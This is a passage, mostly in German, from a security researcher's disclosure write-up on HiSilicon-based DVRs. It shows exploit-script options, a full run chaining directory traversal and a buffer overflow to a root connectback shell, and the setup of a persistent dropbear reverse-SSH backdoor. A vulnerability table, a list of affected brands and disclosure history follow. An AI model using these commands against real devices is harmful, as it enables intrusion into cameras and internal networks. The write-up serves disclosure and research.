--rhost RHOST target host
--rport RPORT target port
--lhost LHOST connectback ip
--lport LPORT connectback port
--bhost BHOST listen ip to bind (default: connectback)
--bport BPORT listen port to bind (default: connectback)
-n, --nolisten do not start listener (you should care about connectback
listener on your own)
-i, --interactive select stack memory region interactively (rather than
using autodetection)
-p, --persistent make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload upload tools (now hardcoded "./tools/dropbear" in script)
after pwn
--offset OFFSET exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE cmdline of Sofia binary on remote target (default
"/var/Sofia")
----
=== Post-Exploitation
Was können wir mit dieser RCE tun? Alles. Denk daran, dass es sich um eine nicht
autorisierte RCE handelt, die nur den Webservice-Port 80/tcp nutzt. Dieser Port wird
häufig nach außen weitergeleitet. Wenn ein Angreifer diese RCE ausnutzt, erhält er/sie
Zugang zum internen LAN.
Unser Exploit-Skript hat einige nützliche Funktionen, z. B. kann es (zuvor kompilierte)
Werkzeuge auf das Zielgerät hochladen.
Wenn wir eine persistente, stabile Hintertür einrichten möchten, können wir einen
Dropbear hochladen, ihn lokal lauschen lassen und einen Reverse-SSH-Tunnel nach außen
öffnen. Mit dieser Architektur ist es möglich, sich von überall und jederzeit auf dem
DVR-Gerät anzumelden.----
$ ./pwn_hisilicon_dvr.py --rhost 192.168.88.127 --lhost 192.168.88.100 -p -u
[*] target is 192.168.88.127:80
[*] connectback on 192.168.88.100:31337
[+] assembling shellcode: done. length is 104 bytes
[+] identifying model number: MBD6804T-EL
[*] exploiting dir path traversal of web service to get leak addresses
[+] getting pidlist: found 35 processes
[+] searching for PID of '/var/Sofia': 610
[+] getting stack section base: 0x5a47a000
[*] shellcode address is 0x5ac773ec
[*] exploiting buffer overflow in web service url path
[*] remote shell should gained by connectback shellcode!
[+] Trying to bind to 192.168.88.100 on port 31337: Done
[+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330
[+] Opening connection to 192.168.88.127 on port 80: Done
[+] Receiving all data: Done (204B)
[*] Closed connection to 192.168.88.127 port 80
[+] restarting dvr application: Done
[+] uploading tools to /var/.tools: dropbear
[*] Switching to interactive mode
$ cd /var/.tools
$ ln -s dropbear ssh
$ ln -s dropbear dropbearkey
$ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256
Generating key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----
Jetzt ist das Gerät über den Reverse-Tunnel per SSH erreichbar:
----
$ ssh -p2322 root@localhost
root@localhost's password:
BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
Welcome to Monitor Tech.
[root@LocalHost /]$
----
== Zusammenfassung
Hier sind die dokumentierten Schwachstellen:
[cols="2,1,1,1,4",options="header",]
|=======================================================================
|Schwachstelle |Risiko |Dienst |Entdeckt |Auswirkung
|hartkodiertes (Backdoor-)Telnet-Passwort |hoch |23/tcp |früher von anderen
|jeder, der Zugriff auf die Telnet-Schnittstelle hat, kann die volle Kontrolle
über das Gerät erlangen, selbst wenn der Benutzer angemessene Passwörter setzt
|Root-Shell-Zugriff mit jedem Anwendungskonto |hoch |9527/tcp |vom
Autor |jeder, der irgendeine Art von Anwendungskonto besitzt und Zugriff
auf die Servicekonsole hat, kann Berechtigungen bis zur vollständigen (Shell-)
Kontrolle über das Gerät erlangen
|*Backdoor-Anwendungspasswort* |kritisch |80/tcp, 554/tcp |vom
Autor |jeder kann auf das Gerät als Anwendungsadmin zugreifen, selbst
wenn der Benutzer starke Passwörter eingerichtet hat, um das
Gerät zu schützen
|*Buffer Overflow im integrierten Webserver* |kritisch |80/tcp |vom
Autor |durch Ausnutzung des Buffer Overflows kann der Angreifer Remote-Codeausführung
als Root auf dem Gerät erlangen (keine Authentifizierung erforderlich), Backdoors,
Malware und andere schädliche Dinge installieren
|Directory Traversal |hoch |80/tcp |früher von anderen(?) und vom
Autor |nicht autorisierter Lesezugriff auf alles (z. B. aufgezeichnete Streams)
auf dem Gerät, hilft auch beim Ausnutzen des Buffer Overflows
|=======================================================================
Wenn jemand denkt, dass nur dieses Gerät der Marke „Seculink“ betroffen ist,
liegt er falsch. Die Bandbreite der betroffenen Geräte ist sehr groß.
Jedes Gerät, das mit dieser Art von HiSilicon-SoC-Hardware gebaut wurde, ist verwundbar.
Diese Geräte teilen sich (fast) dieselbe Firmware mit der binären Anwendung namens „Sofia“.
Die obige Schwachstelle (einschließlich des voll ausgestatteten Skripts) funktioniert fast zuverlässig
ohne Änderung auf vielen verschiedenen Hardwareplattformen.
Hier ist eine (unvollständige) Liste der betroffenen Marken:
image::./brands_affected.png[brands affected]
http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/
Im Allgemeinen kann man sagen, dass diese Art von billigen IoT-Geräten
Sicherheitsalbtäume sind. Jedes Gerät, das der Autor kürzlich getestet hat, wies eine
ernste oder kritische Schwachstelle auf. Aus der Sicht eines Pentesters lautet die
Empfehlung, dass diese Art von Geräten gut getrennt werden muss,
diese Art von Geräten darf nicht dasselbe Netzwerk mit wichtigen,
vertraulichen Daten teilen. Leider gibt es keine echte Chance, Updates
mit Patches für solche Firmwares zu erhalten.
Schließlich ist es wichtig zu erwähnen, dass diese Buffer-Overflow-Schwachstelle
(mit dem Exploit-PoC-Code) über das
https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure]
(SSD)-Programm von https://www.beyondsecurity.com/[Beyond Security] offengelegt wurde. Der
Hersteller (HiSilicon) wurde (von Beyond Security) Ende
2016 benachrichtigt, aber es gab keine Antwort, bevor die Schwachstelle
der Öffentlichkeit zugänglich gemacht wurde (leider eine übliche Sache).
Die veröffentlichte Offenlegung vom Februar 2017 ist
https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[hier] verfügbar.
*UPDATE (2023-01-01):* Diese Forschung wird von https://vulncheck.com/[VulnCheck]
(am 2022-11-30) in diesem Artikel über das Pwning von Xiongmai-Geräten
von https://twitter.com/Junior_Baines[Jacob Baines] referenziert:
https://vulncheck.com/blog/xiongmai-iot-exploitation